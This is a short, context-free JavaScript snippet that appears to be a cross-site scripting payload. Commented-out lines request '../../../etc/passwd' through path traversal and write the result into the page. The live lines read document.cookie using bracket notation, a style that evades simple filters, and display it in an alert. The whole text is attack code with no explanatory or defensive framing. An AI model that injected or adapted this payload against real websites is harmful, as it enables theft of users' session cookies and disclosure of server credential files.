//x=new XMLHttpRequest; //x.onload=document.write(this.responseText); //x.open("GET","../../../etc/passwd"); //x.send(); window["document"]["cookie"]; window["alert"](window["document"]["cookie"]);